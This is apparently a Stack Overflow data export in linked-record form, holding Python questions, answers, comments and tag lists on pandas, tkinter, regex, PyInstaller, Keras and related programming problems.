cur.execute(insert_query, row) The problem is that when I run this code, it blocks on the first row without raising any error. So, my questions are : Is it normal that it takes so much time to insert one row ? If not is there some error in my code ? Is there some efficient way to that ? Can i get some help please ? Thank you in advance
type: Question

http://stackoverflow.com/comment/86577231
type: Comment
comment on: http://stackoverflow.com/q/49596477
score: 0
has text: If you wan't to write out and compile the loops shown here, you can pass int8 and get int64 result without overflow. https://stackoverflow.com/a/49011917/4045774 This will also outperform einsum with enabled optimization, according to a short test I have done. But if you want real speed you have to use floats/input and output and go for tensordot. The reson for this is the BLAS backend that only works with floats. (np.dot is also very slow on integers because the task isn't passed to the BLAS library)
type: QuestionComment

http://stackoverflow.com/a/49490866
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49490500
type: Answer
accepted answer of: http://stackoverflow.com/q/49490500
has body: You need to change: if thing(1) in string.ascii_lowercase: to: if thing[1] in string.ascii_lowercase: Also make sure you have importedstring. You can rename thing to list_tuple or my_list_object for example. You will get good at naming eventually.
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49577388
accepted answer: http://stackoverflow.com/a/49577439
has title: How to import multiple class with "import as" on a single line
upvote count: 3
has answer: http://stackoverflow.com/a/49577439
answer count: 1
downvote count: 0
favorite count: 0
linked to: http://stackoverflow.com/q/36481111
has body: I want to import something like this from x import t as b from x import u as c Is there a way to use a single from x to achieve the same effect
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/86162482
tagged with: python
duplicate of: http://stackoverflow.com/q/36481111
type: Question
has comment: http://stackoverflow.com/comment/86162524

http://stackoverflow.com/tag/html
tags question: http://stackoverflow.com/q/49576821
tags question: http://stackoverflow.com/q/49591394
tags question: http://stackoverflow.com/q/49589118
tags question: http://stackoverflow.com/q/49478572
tags question: http://stackoverflow.com/q/49567604
tags question: http://stackoverflow.com/q/49580894
tags question: http://stackoverflow.com/q/49474288
tags question: http://stackoverflow.com/q/49463801
tags question: http://stackoverflow.com/q/49489166
tags question: http://stackoverflow.com/q/49499725
tags question: http://stackoverflow.com/q/49543522
tags question: http://stackoverflow.com/q/49540728
tags question: http://stackoverflow.com/q/49458305
tags question: http://stackoverflow.com/q/49524280
tags question: http://stackoverflow.com/q/49520022
tags question: http://stackoverflow.com/q/49457209
tags question: http://stackoverflow.com/q/49572810
tags question: http://stackoverflow.com/q/49529299
tags question: http://stackoverflow.com/q/49502679
tags question: http://stackoverflow.com/q/49450450
tags question: http://stackoverflow.com/q/49563585
tags question: http://stackoverflow.com/q/49539305
tags question: http://stackoverflow.com/q/49468446
tags question: http://stackoverflow.com/q/49520287
tags question: http://stackoverflow.com/q/49591456
tags question: http://stackoverflow.com/q/49541504
tags question: http://stackoverflow.com/q/49463552
tags question: http://stackoverflow.com/q/49480776
tags question: http://stackoverflow.com/q/49540215
tags question: http://stackoverflow.com/q/49504902
tags question: http://stackoverflow.com/q/49575390
tags question: http://stackoverflow.com/q/49549810
type: Tag
tags question: http://stackoverflow.com/q/49578833
tags question: http://stackoverflow.com/q/49590115
tag name: html
tags question: http://stackoverflow.com/q/49572475
tags question: http://stackoverflow.com/q/49527907
tags question: http://stackoverflow.com/q/49563777
tags question: http://stackoverflow.com/q/49532759
tags question: http://stackoverflow.com/q/49572811
tags question: http://stackoverflow.com/q/49519913
tags question: http://stackoverflow.com/q/49465523
tags question: http://stackoverflow.com/q/49542621
tags question: http://stackoverflow.com/q/49503148
tags question: http://stackoverflow.com/q/49544272
tags question: http://stackoverflow.com/q/49534147
tags question: http://stackoverflow.com/q/49565642
tags question: http://stackoverflow.com/q/49442459
tags question: http://stackoverflow.com/q/49488791
tags question: http://stackoverflow.com/q/49470776
tags question: http://stackoverflow.com/q/49579168
tags question: http://stackoverflow.com/q/49529985
tags question: http://stackoverflow.com/q/49562530
tags question: http://stackoverflow.com/q/49596915
tags question: http://stackoverflow.com/q/49481036
tags question: http://stackoverflow.com/q/49526147
tags question: http://stackoverflow.com/q/49440853
tags question: http://stackoverflow.com/q/49566054
tags question: http://stackoverflow.com/q/49467167
tags question: http://stackoverflow.com/q/49483218

http://stackoverflow.com/q/49540478
tagged with: python
has comment: http://stackoverflow.com/comment/86089819
score: 0
has comment: http://stackoverflow.com/comment/86088632
answer count: 0
has comment: http://stackoverflow.com/comment/86088404
tagged with: matplotlib
type: Question
has title: How can I animate by passing arguments in funcAnimation?
has body: I have to make a time-varying geographic plot. def animate(tindex, ax): summasel = summaout.isel(time = tindex)['pptrate'].drop('time').to_dataframe() summasel['hru_id2'] = summasel.index polydat2 = pd.merge(polydat, summasel) return (polydat2.plot(ax = ax, column = 'pptrate', cmap='viridis_r', scheme='quantiles'),) fig, ax = plt.subplots() a = ani.FuncAnimation(fig, animate, frames=40, fargs=(ax,), blit=True) HTML(a.to_html5_video()) Basically, tindex is a number with a range, say 1:10. For every tindex, polydat2.plot plots a shapefile with variable pptrate. How can I pass this range to animate? Probably my syntax is all wrong. ERROR ~/anaconda3/lib/python3.6/selectors.py in _fileobj_to_fd(fileobj) 37 except (AttributeError, TypeError, ValueError): 38 raise ValueError("Invalid file object: " ---&gt; 39 "{!r}".format(fileobj)) from None 40 if fd &lt; 0: 41 raise ValueError("Invalid file descriptor: {}".format(fd)) ValueError: Invalid file object: &lt;_io.BufferedReader name=58&gt; This is what the plot looks like for one time instance enter image description here print(polydat2.head(2)) OBJECTID POI_ID PROD_UNIT hru_elev hru_id2 Y_Centroid \ 0 1 23336004 17a 1829.0 17000001 2.213807e+06 1 2 23198872 17a 1902.0 17000002 2.214667e+06 X_Centroid Basin_Area seg_hru_id Elev_Avg Lon_Centro Lat_Centro \ 0 -1.665466e+06 1.202901e+08 17001133 1890.24521 -116.20479 41.33139 1 -1.555784e+06 1.248356e+08 17000804 1959.87124 -114.91219 41.53916 geometry pptrate 0 POLYGON ((-116.1746602138565 41.40417605744236... 0.000005 1 (POLYGON ((-114.6447601321217 41.5900497438992... 0.000001 EDIT I tried saving the plot instead of showing it. And used a codec directly (REF ISSUE) a.save('./movie.mp4', writer='ffmpeg', codec='rawvideo') I NO LONGER have the errors above. But I am still getting an empty plot.
type: UnansweredQuestion
tagged with: animation

xcode
tag name: xcode
type: Tag
tags question: http://stackoverflow.com/q/49487332

http://stackoverflow.com/comment/86204744
type: AnswerComment
score: 0
type: Comment
has text: @Watallapan, then ask as a separate question! That's not what you asked initially..
comment on: http://stackoverflow.com/a/49594673

http://stackoverflow.com/a/49480460
has comment: http://stackoverflow.com/comment/85964019
has comment: http://stackoverflow.com/comment/85963912
type: Answer
answers question: http://stackoverflow.com/q/49480344
has comment: http://stackoverflow.com/comment/85963909
has comment: http://stackoverflow.com/comment/85963937
score: 0
has body: The cross-entropy loss is only used in classification problems: i.e., where your target (yHat) is discrete. If you have a regression problem instead, something like the mean squared error (MSE) loss would be more appropriate. You can find a variety of losses for the PyTorch library, and their implementations here. In the case of the MNIST dataset, you actually have a multiclass classification problem (you're trying to predict the correct digit out of 10 possible digits), so the binary cross-entropy loss isn't suitable, and you should the general cross-entropy loss instead. Regardless, the first step in your investigation should be identifying whether your problem is "classification" or "regression". A loss function suitable for one problem is generally not suitable for the other. EDIT: You can find a more detailed explanation of the cross-entropy loss in the context of the MNIST problem at the "MNIST for ML Beginners" tutorial on the TensorFlow website.
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/85963877

http://stackoverflow.com/q/49455273
linked to: http://stackoverflow.com/q/6159900
tagged with: python-3.x
has title: Python writing in file
upvote count: 0
duplicate of: http://stackoverflow.com/q/6159900
tagged with: web-scraping
tagged with: python
score: -1
tagged with: python-requests
accepted answer: http://stackoverflow.com/a/49455823
has comment: http://stackoverflow.com/comment/85914216
has comment: http://stackoverflow.com/comment/85914380
has answer: http://stackoverflow.com/a/49455823
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/11198718
has body: How to write (i['src']) in a file.txt that I do not arrive ? Here is my code from bs4 import BeautifulSoup import requests import re a = requests.get('domaine.com') soup = BeautifulSoup(a.content, 'lxml') links = soup.find_all('iframe') for i in links: print(i['src'])
answer count: 1
downvote count: 1
favorite count: 0
type: Question
tagged with: beautifulsoup

http://stackoverflow.com/comment/86039056
comment on: http://stackoverflow.com/a/49505445
score: 0
has text: No dice. I've tried this many times from clean clones as well, so that's not surprising. Good thought though!
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/85882061
type: Comment
has text: Holy crap. I almost want to delete this now. I can't believe I didn't see that. Thanks for the eyes.
type: AnswerComment
comment on: http://stackoverflow.com/a/49440030
score: 0

http://stackoverflow.com/comment/85933777
type: Comment
comment on: http://stackoverflow.com/q/49455646
has text: Yes, it does make sense. You should add that part in the question; it'll help others to answer your question (seems important to solve the problem).
score: 1
type: QuestionComment

http://stackoverflow.com/comment/86052959
has text: Both file use UTF-8-encoding (hope that's what you mean). If it's important, my Python version is 3.6.1
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49523139
type: AnswerComment

http://stackoverflow.com/comment/86053054
has text: thanks a lot, This works fine. Just one thing to add is if the category is multiple string meaning instead of "general" and "specific" if its "General xyz" and "specific abc" then how to handle that?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/49523464
type: AnswerComment

http://stackoverflow.com/q/49546859
type: Question
tagged with: correlation
has answer: http://stackoverflow.com/a/49546945
upvote count: 2
tagged with: dataframe
tagged with: python
has title: Pandas - Correlation between two dataframes without alignment
has body: I need to get the correlation between two dataframes columns. Both of them have the same columns but the correlation is not working because of alignment probably. I don't really care about the index of the dataframe, i just wan't to correlate the values in the cells, treating each column as a random distribution. I'm not sure if it's my pandas or my math skills that are lacking, but i don't get what is the purpose of the alignment in this case. Here is my code: def correlation(indv1, indv2): frame1 = pd.DataFrame(indv1).select_dtypes(include=['float64', 'int64']) # Filtra o individuo para ficar apenas com valores int ou float frame2 = pd.DataFrame(indv2).select_dtypes(include=['float64', 'int64']) result = frame1.corrwith(frame2) return result.sum() Here is what i've tried: aligning the dataframes with DataFrame.align, but i'm not sure how to do it reindexing the dataframes with DataFrame.reindex but it also generates NaN from alignment using DataFrame.reset_index but it creates another column with the old indexes Here is a sample that is going wrong: test1 = pd.Series(np.random.random(3), index=[0, 1, 2]) test2 = pd.Series(np.random.random(3), index=[3, 4, 5]) print(correlation(test1, test2)) If you print the result array of the correlation function, it shows NaN. Here is what i want to do (per column): with X being a value from the cell and mi and sigma being the mean and std. dev. of the column.
accepted answer: http://stackoverflow.com/a/49546945
score: 2
type: AnsweredQuestion
tagged with: pandas
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/q/49571999
favorite count: 0
type: Question
tagged with: python-3.x
has title: Regex for getting the title and the author from reference list
has comment: http://stackoverflow.com/comment/86151508
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86152604
score: -1
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/86152915
has answer: http://stackoverflow.com/a/49580258
has comment: http://stackoverflow.com/comment/86151648
linked to: http://stackoverflow.com/q/51093751
has body: I have parsed texts from several scientific pdf files. All of these files contain a reference list at the end, where the authors and their publications are listed, + when and where they were released. Also, there are cross-references in the text. For example: ('1', ' I. Altintas, C. Berkley, E. Jaeger, M. Jones, B. Lud-scher, and S. Mock. Kepler: An extensible system fordesign and execution of scientiﬁc workﬂows. In In SS-DBM, pages 21–23, 2004. ') and a different one from another text: ('1', ' G. Antoniol, G. Canfora, G. Casazza, A. DeLucia, and E. Merlo,“Recovering Traceability Links between Code and Documentation,” IEEETrans. Software Eng. , vol. 28, no. 10, pp. 970-983, Oct. 2002.') I was able to recognize both with the regex, which gives me 2 capturing groups besides the full-match: r'\(\'(\d+)\'\,\s\'(.*?\')\)' The first group I can use to get the number of the reference, to match with the cross-references in text The second is the everything else remaining, and i'd like to recognize the author and the title of the publication from it, regardless of the parsing format, if that's possible. Later, I'd like to use these values to write separate .txt files with the author + title.txt name, and to append their cross-references found in the text to each file. For this is what I have now for this: for txt in os.listdir(txtDir): textFile = open(txtDir + txt, "r", encoding='utf-8') text = textFile.read() sents = nltk.sent_tokenize(text) references = re.compile(r'\(\'(\d+)\'\,\s\'(.*?\')\)', re.MULTILINE) line_list = [] number_list = [] publication_list = [] ref_list = [] for line in references.finditer(text): number, publication = line.groups() number_list.append(number) publication_list.append(publication) ref_list.append(line) for number in number_list: number = number.replace(number, "["+number+"]") for count, line in enumerate(sents): line_list.append(line) if number in line and "]" not in line_list[count-1]: f = open(publication+".txt", "ab+") f.write(line.encode(…
upvote count: 0
answer count: 1
downvote count: 1

http://stackoverflow.com/comment/86127532
type: Comment
type: AnswerComment
score: 1
has text: _For a it sees a list and therefore produces an object array._ It really can't be that simple since for example `[[1], [2], [3]]` looks exactly the same in the first position.
comment on: http://stackoverflow.com/a/49559649

countvectorizer
type: Tag
tags question: http://stackoverflow.com/q/49547715
tags question: http://stackoverflow.com/q/49570046
tag name: countvectorizer

http://stackoverflow.com/a/49468472
has body: this code will find the longest letter in your list, create another list which is that long and sort every word into its bucket. I also fixed your read in loop a bit, no need for a weird way of checking def wordList(): unsortedList=[] promptUser=input("Type words, one at a time. When you are done, type stop: ") while promptUser !="stop": unsortedList.append(promptUser) promptUser = input("Type words, one at a time. When you are done, type stop: ") sortedList = [] #will go from 0 up to and including length of longest letter in your list for x in range(0,max([len(x) for x in unsortedList])+1): #Creates an empty entry sortedList.append([]) #Goes through an unsorted list for s in unsortedList: #If length of a word is equal to x it adds it to its bucket if len(s) == x: sortedList[x].append(s) print(sortedList) Input: ['a', 'eye', 'flap', 'n', 'red', 'roar', 't', 'toad'] Output: [[], ['a', 'n', 't'], [], ['eye', 'red'], ['flap', 'roar', 'toad']]
score: 1
type: Answer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49467933

http://stackoverflow.com/a/49473810
accepted answer of: http://stackoverflow.com/q/49473628
downvote count: 0
has comment: http://stackoverflow.com/comment/85950128
upvote count: 1
has comment: http://stackoverflow.com/comment/85950184
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49473628
has comment: http://stackoverflow.com/comment/85950158
score: 1
type: Answer
has body: Here's what you need: average = sum(row[-1] for row in data[-count_num:]) / count_num pint(average) #2.354310806000001

http://stackoverflow.com/q/49518479
tagged with: setattr
downvote count: 0
has comment: http://stackoverflow.com/comment/86042930
favorite count: 0
type: Question
tagged with: tkinter
answer count: 2
upvote count: 2
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86043529
has answer: http://stackoverflow.com/a/49518972
has title: How do you invoke a method on a programmatically set attribute?
has body: This is a follow-up question to How do you programmatically set an attribute?. I see how I can set an attribute value using setattr(x, attr, value). How might I invoke a method on attr? For one example, I want to create and set the value of Tkinter Entry objects corresponding to a dictionary wherein the keys are attributes and the values are values to be assigned to the attributes. My brute force approach works: from tkinter import Tk, Button, filedialog, Label, Frame, BOTH, Entry, END, StringVar class Example(Frame): def __init__(self, master=None): """Initialize UI and set default values.""" # https://stackoverflow.com/questions/285061/how-do-you-programmatically-set-an-attribute. Frame.__init__(self, master) self.master = master myDict = {'a': 'String A', 'b': 'String B', 'c': 'String C'} self.a = StringVar() self.a.set(myDict['a']) self.aEntry = Entry(self, textvariable=self.a) self.aEntry.grid(row=0, column=1) self.b = StringVar() self.b.set(myDict['b']) self.bEntry = Entry(self, textvariable=self.b) self.bEntry.grid(row=1, column=1) self.c = StringVar() self.c.set(myDict['c']) self.cEntry = Entry(self, textvariable=self.c) self.cEntry.grid(row=2, column=1) self.pack(fill=BOTH, expand=1) root = Tk() app = Example(root) root.mainloop() A loop approach would look something like this: from tkinter import Tk, Button, filedialog, Label, Frame, BOTH, Entry, END, StringVar class Example(Frame): def __init__(self, master=None): """Initialize UI and set default values.""" # https://stackoverflow.com/questions/285061/how-do-you-programmatically-set-an-attribute. Frame.__init__(self, master) self.master = master myDict = {'a': 'String A', 'b': 'String B', 'c': 'String C'} rowCount = 0 for key, value in myDict.items(): setattr(self, key, StringVar()) # Works # self.a.set('String A') self.key.set(value) # Does not work # self.aEntry = Entry(self, textvariable=self.a) setattr(self, key + 'Entry', Entry(self, textvariable=???)) # Does not work # self.aEntry.grid(row=0, column…
tagged with: iterable
score: 2
has answer: http://stackoverflow.com/a/49519108
linked to: http://stackoverflow.com/q/285061

http://stackoverflow.com/a/58485055
has comment: http://stackoverflow.com/comment/120425642
has body: Layers.pop(0) or anything like that doesn't work. You have two options that you can try: 1. You can create a new model with the required layers. A relatively easy way to do this is to i) extract the model json configuration, ii) change it appropriately, iii) create a new model from it, and then iv) copy over the weights. I'll just show the basic idea. i) extract the configuration model_config = model.get_config() ii) change the configuration input_layer_name = model_config['layers'][0]['name'] model_config['layers'][0] = { 'name': 'new_input', 'class_name': 'InputLayer', 'config': { 'batch_input_shape': (None, 300, 300), 'dtype': 'float32', 'sparse': False, 'name': 'new_input' }, 'inbound_nodes': [] } model_config['layers'][1]['inbound_nodes'] = [[['new_input', 0, 0, {}]]] model_config['input_layers'] = 'new_input', 0, 0 ii) create a new model new_model = model.__class__.from_config(model_config, custom_objects={}) # change custom objects if necessary ii) copy weights # iterate over all the layers that we want to get weights from weights = [layer.get_weights() for layer in model.layers[1:]] for layer, weight in zip(new_model.layers[1:], weights): layer.set_weights(weight) 2. You can try a library like kerassurgeon (I am linking to a fork that works with the tensorflow keras version). Note that insertion and deletion operations only work under certain conditions such as compatible dimensions. from kerassurgeon.operations import delete_layer, insert_layer model = delete_layer(model, layer_1) # insert new_layer_1 before layer_2 in a model model = insert_layer(model, layer_2, new_layer_3)
answers question: http://stackoverflow.com/q/49546922
type: Answer
has comment: http://stackoverflow.com/comment/126353270
downvote count: 0
score: 21
upvote count: 21

http://stackoverflow.com/q/49542411
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49543076
has comment: http://stackoverflow.com/comment/86131068
tagged with: python
has comment: http://stackoverflow.com/comment/86092398
has body: I have a script named main.py which needs first that other script is executed. This means that at the top of the script I have included the following: execfile('other_script.py') So when using PyInstaller in Linux an error appears saying that it can't find this file. How can I fix this?
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/86092337
has answer: http://stackoverflow.com/a/49542505
type: Question
has title: How to create a Python script standalone

http://stackoverflow.com/q/49491730
score: 1
answer count: 1
tagged with: python
tagged with: cryptography
has title: Using Cryptography with Tkinter GUI
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49499071
has comment: http://stackoverflow.com/comment/85997576
tagged with: tkinter
has comment: http://stackoverflow.com/comment/85999813
has body: So I have been doing some coursework on creating an appointment booking system and I am currently looking into the employee logins. I want to be able to encrypt the passwords of employees for storage and comparisons. My problem is that I have to get the password from their Entry box but as a result I don't know how to convert the data to bytes so that it can be encrypted. Here is what I have at the moment: import tkinter as tk from cryptography.fernet import Fernet key = Fernet.generate_key() cipher_suite = Fernet(key) MEDIUM_FONT = ("Berlin Sans FB", 12) LARGE_FONT = ("Berlin Sans FB", 16) #validate function def validateStylist(window): password = bstr(passwordEntry.get()) cipher_text = cipher_suite.encrypt(password) plain_text = cipher_suite.decrypt(cipher_text) print(plain_text) window = tk.Tk() titleLabel = tk.Label(window, text="Register Stylist", font=LARGE_FONT, bg="#FFC0CB") titleLabel.grid(columnspan = 4) #Password passwordLabel = tk.Label(window, text="Password:", font=MEDIUM_FONT, bg="#FFC0CB") passwordLabel.grid(row=1,column=3) passwordVar = tk.StringVar(window) passwordEntry = tk.Entry(window, textvariable=passwordVar) passwordEntry.grid(row=2,column=3) finishButton = tk.Button(window, text="Finish", command=validateStylist(window)) finishButton.grid(row=4, column=3, sticky="ew") window.mainloop()
downvote count: 0
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49499071
type: AnsweredQuestion

http://stackoverflow.com/q/49591872
tagged with: docker
type: AnsweredQuestion
score: 1
downvote count: 0
answer count: 1
tagged with: django
upvote count: 1
has answer: http://stackoverflow.com/a/49595364
accepted answer: http://stackoverflow.com/a/49595364
has body: I have an Python Django application that I want to deploy through docker-compose, I used the blogpost called A Production-ready Dockerfile for Your Python/Django App to setup my files. This blogpost, however, assumes you use a third party to host your static files. Since this isn't the case, I changed the CMD command from: CMD ["/venv/bin/uwsgi", "--http-auto-chunked", "--http-keepalive"] to: CMD ["/venv/bin/uwsgi", "--http-auto-chunked", "--http-keepalive", "--static-map", "/static=/code/base/static"] This works more or less, I now however receive the following warning when I start my docker file: backend_1 | !!! no /etc/mime.types file found !!! This makes my solution not workable, since files are all interpreted as text/plain. Is there a simple solution to fix this?
favorite count: 0
type: Question
has title: Serving static files from Python alpine image: no /etc/mine.types file found
tagged with: python

http://stackoverflow.com/q/49554331
tagged with: python
tagged with: flatten
type: AnsweredQuestion
has body: OS: Kubuntu 14.04, Tensorflow version = 0.12, Python version = 2.7 After my last layer the output of my neural net has the shape[batch, height, width, 2] which is [64, 32, 256, 2] in my case. After that I use output = tf.contrib.layers.flatten(input=output) which produces a Tensor with the shape[64, 16384] For evaluation purposes I would like to reverse this flattening in a different function to get the original [64, 32, 256, 2] Tensor back. How would one do that?
downvote count: 0
answer count: 1
has title: Tensorflow: Reverse flattening of a tensor
tagged with: tensorflow
upvote count: 8
favorite count: 0
score: 8
type: Question
has comment: http://stackoverflow.com/comment/86118844
has comment: http://stackoverflow.com/comment/86115854
has answer: http://stackoverflow.com/a/49556176
accepted answer: http://stackoverflow.com/a/49556176

http://stackoverflow.com/q/49447182
downvote count: 0
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49447673
has title: Python: Read from list multiple times or define a variable?
tagged with: performance
has comment: http://stackoverflow.com/comment/85896315
accepted answer: http://stackoverflow.com/a/49447673
has comment: http://stackoverflow.com/comment/85895925
tagged with: python
linked to: http://stackoverflow.com/q/3917574
type: AnsweredQuestion
tagged with: list
has body: What is faster: Reading the same value from a list multiple times or saving the value to a new variable? My code looks something like this: if list[0] &gt; foo: return list[0], list[0] + bar Should I define l0 = list[0] to avoid reading the list three times? Or is this inefficient because of memory allocation and garbage collection for the l0 variable?
upvote count: 1
score: 1
answer count: 1

http://stackoverflow.com/q/49519913
score: 4
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
has title: Jupyter notebooks - convert to html - no images?
has body: I'm converting a Jupyter notebook to html (using the dropdown list in the browser), and everything else looks fine but my images aren't showing. I've included them in markdown cells as, e.g. &lt;img src="create_random_dist.png" style="width: 500px;" align="left"&gt; Why doesn't this work? Please help! I did a search but the solutions that worked for other people don't seem to work for me...
tagged with: ipython
has comment: http://stackoverflow.com/comment/86045624
tagged with: jupyter-notebook
favorite count: 0
upvote count: 4
has comment: http://stackoverflow.com/comment/86046374
type: Question
answer count: 0
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/93112046
has comment: http://stackoverflow.com/comment/86045804
has comment: http://stackoverflow.com/comment/86045935

http://stackoverflow.com/q/49469386
answer count: 0
upvote count: 3
type: UnansweredQuestion
downvote count: 0
has body: I am trying to use Pyinstaller to turn a short script into an EXE. I am running windows 10 and using 32 bit python. I am getting this error: pywintypes.error: (2, 'LoadLibraryEx', 'The system cannot find the file specified.') The script is: #text-&gt;PNG-&gt;STL from pylab import imread from scipy.ndimage import gaussian_filter from stl_tools import numpy2stl, text2png print "enter name" patientName = raw_input() text = (patientName) # save png text2png(text, 'Tempfile', fontsize=90) # read from rendered png A = 256 * imread("Tempfile.png") A = A.mean(axis=2) # grayscale projection A = gaussian_filter(A.max() - A, 1.0) #changed scale from .15 numpy2stl(A, "DAVE111.stl", scale=0.85, mask_val=5, max_width=14) print "done" The error I receive when using Pyinstaller (I've also tried cx_freeze and py2exe ) is quite long, but ends with: File "c:\python27\lib\site-packages\PyInstaller\utils\win32\winresource.py", line 168, in GetResources hsrc = win32api.LoadLibraryEx(filename, 0, LOAD_LIBRARY_AS_DATAFILE) pywintypes.error: (2, 'LoadLibraryEx', 'The system cannot find the file specified.') I have been tinkering with Spec files and trying everything, and just can't seem to figure it out. Any help would be appreciated! I've also tried re-downloading win32api with no luck. Thanks, Dave
favorite count: 0
type: Question
score: 3
tagged with: pyinstaller
tagged with: python
has title: Pywintypes Error with Pyinstaller

http://stackoverflow.com/a/49496968
has body: If you want a Hadoop compatible Python script, it needs to read from STDIN import sys for line in sys.stdin: current_date, max_temp, min_temp = line.split() condition = None try: f_min_temp = float(min_temp) f_max_temp = float(max_temp) except ValueError: continue if f_max_temp &gt; 40: condition = 'Hot day' if f_min_temp &lt; 10: condition = 'Cold day' if condition: print ('%s\t%s' % (current_date, condition)) Here's an example of running locally $ python data.py &lt; data.txt 20130101 Cold day 20130102 Cold day 20130103 Cold day 20130104 Cold day 20130105 Cold day 20130106 Cold day 20130107 Cold day 20130108 Cold day 20130111 Cold day For running in Hadoop, please see Hadoop Streaming
score: 1
type: AcceptedAnswer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49490288
answers question: http://stackoverflow.com/q/49490288
downvote count: 0
type: Answer

http://stackoverflow.com/a/70417737
has body: I suggest to use rclone obscure 'thepass' and to see or use config file rclone config file insert it instead of pass or possible to use new conf file by using rclone ... --config=
type: Answer
answers question: http://stackoverflow.com/q/49588368
score: 0

http://stackoverflow.com/comment/85975220
type: QuestionComment
has text: That doesn't look like json at all.
comment on: http://stackoverflow.com/q/49486365
score: 3
type: Comment

http://stackoverflow.com/a/49467891
has comment: http://stackoverflow.com/comment/85942569
type: Answer
has comment: http://stackoverflow.com/comment/85938978
has comment: http://stackoverflow.com/comment/85939289
has body: Since your script keeps generating data indefinitely, I would suggest transforming it into a generator and iterating over it from the web request handler: def my_counter(): i = 0 while True: yield i # I'm using yield instead of return i = i + 1 my_counter_it = my_counter() @app.route('/') def hello_world(): return str(next(my_counter_it)) # return next value from generator You can also communicate with a long running separate process (external command): import subprocess def my_counter(): # run the yes command which repeatedly outputs y # see yes(1) or http://man7.org/linux/man-pages/man1/yes.1.html p = subprocess.Popen('yes', stdout=subprocess.PIPE) # the following can also be done with just one line: yield from p.stdout for line in p.stdout: yield line
answers question: http://stackoverflow.com/q/49467581
has comment: http://stackoverflow.com/comment/85939231
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/49566130
downvote count: 0
has answer: http://stackoverflow.com/a/49566142
accepted answer: http://stackoverflow.com/a/49566142
tagged with: regex
favorite count: 0
type: Question
has title: regex: grabbing items from a list based on the word attached
tagged with: python-3.x
answer count: 2
has body: I have a list like: x=['/category/Women-Dresses?size=0', '/brand/Free_People', '/closet/shopmyycloset', '/listing/559c0800568c896f6e019f2a/unlike', '/listing/Eyelet-drop-waist-dress-559c0800568c896f6e019f2a', '/listing/Eyelet-drop-waist-dress-559c0800568c896f6e019f2a', None, '#', '#', '#', '#', '#', None, ] I want to grab the elements from the list that have the word listing in it so I want to have c=[/listing/559c0800568c896f6e019f2a/unlike,/listing/Eyelet-drop-waist-dress-559c0800568c896f6e019f2a,/listing/Eyelet-drop-waist-dress-559c0800568c896f6e019f2a] I thought regular expressions would be a good tool for this but I'm a little lost, this is what I tried but it doesn't work import re x=['/category/Women-Dresses?size=0', '/brand/Free_People', '/closet/shopmyycloset', '/listing/559c0800568c896f6e019f2a/unlike', '/listing/Eyelet-drop-waist-dress-559c0800568c896f6e019f2a', '/listing/Eyelet-drop-waist-dress-559c0800568c896f6e019f2a', None, '#', '#', '#', '#', '#', None, ] c=[] for list in x: if re.findall('/list',list) in list: c.append() print(c)
has answer: http://stackoverflow.com/a/49566144
possible better answer: http://stackoverflow.com/a/49566144
tagged with: python
upvote count: 2
type: AnsweredQuestion
score: 2

http://stackoverflow.com/a/49460625
answers question: http://stackoverflow.com/q/49460574
score: 0
has comment: http://stackoverflow.com/comment/85924251
type: AcceptedAnswer
has body: Iterating through the file (for row in reader) "consumes" the file, so you can't iterate through it again without taking some action. Options include: Rewrite your code to not have to iterate the file twice Put the second loop inside a separate (and not nested) with open() as f "rewind" the underlying file pointer (using f.seek(0)) between the two iterations (I'm not sure how well this would work, but worked for me using python 2.7.14 on a linux machine)
accepted answer of: http://stackoverflow.com/q/49460574
type: Answer

http://stackoverflow.com/comment/86024912
comment on: http://stackoverflow.com/q/49510009
has text: @AbdullahAhmedGhaznavi I edited the question
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85898428
has text: Thanks for your help, i've actually tried this before. And also tried making the regex very simple. I have a feeling that it's the .str that isn't working correctly though
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49448335

http://stackoverflow.com/comment/85956046
has text: @DanSteingart Itz for WebSocket. And also cert_reqs defaults to CERT_NONE while wrapping socket
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49475817

http://stackoverflow.com/comment/85935696
has text: Delima how to accept both as solution , both are working :)
score: 2
comment on: http://stackoverflow.com/a/49466318
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/89516320
type: Comment
comment on: http://stackoverflow.com/q/49520187
type: QuestionComment
has text: see my answer and let me know
score: 0

http://stackoverflow.com/q/49465836
favorite count: 0
has body: I have a problem with a pandas Dataframe that amongst other things contains the number of rooms in an apartment (type String). This data consists of a unicode character u"\u00BD" (https://www.fileformat.info/info/unicode/char/00bd/index.htm). How do i effectively replace this character with decimal values so that instead of the unicode character the data will read 2.5, 3.5, 4.5 etc (Still String format). It currently looks like this: 2½, 3½, 4½ etc And i want the values in the column to be 2.5, 3.5, 4.5 etc.
has title: Replacing Unicode character in pandas Dataframe column
type: Question
has comment: http://stackoverflow.com/comment/85939645
accepted answer: http://stackoverflow.com/a/49469141
has comment: http://stackoverflow.com/comment/85951396
tagged with: python
tagged with: replace
tagged with: pandas
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/1263796
downvote count: 0
upvote count: 1
score: 1
answer count: 1
